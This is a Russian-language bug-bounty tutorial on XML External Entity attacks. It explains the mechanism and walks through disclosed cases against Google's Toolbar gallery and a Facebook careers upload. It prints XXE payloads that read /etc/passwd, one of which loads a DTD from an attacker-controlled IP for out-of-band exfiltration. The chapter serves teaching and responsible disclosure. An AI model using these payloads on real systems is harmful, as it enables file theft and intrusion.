XML External Entity(XXE) это атака, направленая на приложение, которое обрабатывает парсит XML код. OWASP утверждает, что эта возможность этой атаки возникает,когда XML код содержит ссылки на внешние сущности, которые обрабатываются плохо настроенным парсером.
Другими словами, путём передачи вредоносного XML кода атакующий может использовать парсер против рассматриваемой системы, либо раскрыть важную информацию, провести SSRF атаку и даже выполнить произвольный код.
Эта атака возникает, когда XML-структура, называемая сущностью (Entity), включена в документ и обрабатывается удаленным хостом. Существуют разные типы сущностей, но конкретно внешние сущности могут быть использованы, чтобы получить доступ к локальным или удаленным данным с помощью определенного системного идентификатора. Часто им является URI к которому парсер может получить доступ в процессе обработки документа. После этого парсер заменит сущность контентом, который был дан по URI.
Вот пример вредоносного XXE, взятого с OWASP:
<?xml version=”1.0” encoding=”ISO-8859-1”?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM ”file:///etc/passwd” > ] > <foo>&xxe;</foo>
Здесь определен корневой элемент “foo” вместе с элементом “ANY”, что означает, что содержимое элемента “foo” может быть расширено это подключает следующую строку, которая ссылается на entity, получающую содержимое файла /etc/passwd. Далее полученный контент передается в элемент <foo>, заменяя &xxe содержимым файла.
Ссылки:
Почитайте OWASP XML External Entity (XXE) Processing Шпаргалка по XXE Silent Robots XML Entity Cheatsheet
[ad name=»Responbl»]
Примеры Уязвимости XML External Entity
1. Доступ на чтение Google
Сложность:Средняя
Url: google.com/gadgets/directory?synd=toolbar
Ссылка на отчёт:Detectify Blog
Описание Уязвимости XML External Entity
Эта уязвимость довольно очевидна. Google’s Toolbar Button Gallery позволяет разработчикам создавать свои собственные кнопки путём загрузки XML файла, который содержит определенные метаданные.
В соответствии с описанием уязвимости от команды Detectify, после загрузки XML файла, подобно примеру описанному выше в описании, Google парсил файл и приступил к визуализации содержимого данного файла:
Выводы
Даже Большие Парни могут быть уязвимы. Несмотря на то, что этому отчёту уже почти 2 года, он по прежнему служит хорошим примером того, что большие компании могут быть уязвимы. Необходимый XML код можно легко загрузить на сайты, в которых используются XML парсеры. Однако, иногда это может не сработать, так что вам придется проверить другие способы с шпаргалки выше.
[ad name=»Responbl»]
Facebook XXE через Word
Сложность: Высокая
Url: facebook.com/careers
Эта XXE атака немного сложнее чем предыдущая. В далёком 2013 году Facebook исправил XXE уязвимость, которую вполне могла привести к RCE. Они заплатили около $30,000.
В результате,когда Мохамед в апреле 2014-го поставил перед собой задачу взломать Facebook, он и не думал, что XXE возможна, пока он не нашёл страницу carrer, которая позволяла пользователям загружать файлы с расширением .docx, которые могли включать в себя XML.
В результате, по его словам, он создал файл .docx и открыл его через 7zip, извлёк содержимое файла и нашёл xml файл в содержимом docx. Он вставил следующий проверочный код:
<!DOCTYPE root [ <!ENTITY % file SYSTEM ”file:///etc/passwd”> <!ENTITY % dtd SYSTEM ”http://197.37.102.90/ext.dtd”> %dtd; %send; ]]>
Немного отличается от того, что мы видели выше. Хотя начало похожее, но далее код включает вызов SYSTEM, чтобы связаться с удаленным хостом, который находится под контролем Мохамеда. Он также подключил другой файл, очень похожий, но содержащий строку FACEBOOK-HACKED.
При парсинге XML-обработчик осуществит вызов к удаленно-
му хосту, и этот вызов будет залогирован. Так что когда Моха-
мед запустил локальный сервер, используя Python и SimpleHTTPServer и подождал… он получил:
После отправки отчета Facebook ответил ему с отказом принять баг, со словами о невозможности воспроизвести баг и просьбой предоставить видеозапись эксплуатации бага. После обмена сообщениями, Facebook упомянул, что рекрутер, вероятно, открыл файл, который отправлял произвольный запрос. Команда Facebook провела более глубокое расследование и выплатила вознаграждение, отправив письмо, объясняющее, что воздействие от этой XXE-уязвимости было менее значимым, чем от изначальной в 2013, но она по-прежнему могла быть использована. Вот сообщение:
Выводы
Из этой ситуации следует пара выводов. XXE не ограничена XML-файлами, вы можете использовать .docx, .xlsx, .pptx, и так далее. Как я говорил ранее, иногда вы не будете получать ответ от XXE незамедлительно этот пример показывает, что вы можете поднять сервер, на который придет запрос, демонстрирующий наличие XXE.
[ad name=»Responbl»]
Кроме того, как и в других случаях, иногда отчеты изначально отклоняются. Важно иметь уверенность и проявлять настойчивость при работе с компанией, рассматривающей отчет, уважая при этом их решение, но и объясняя, почему что-либо может быть уязвимостью.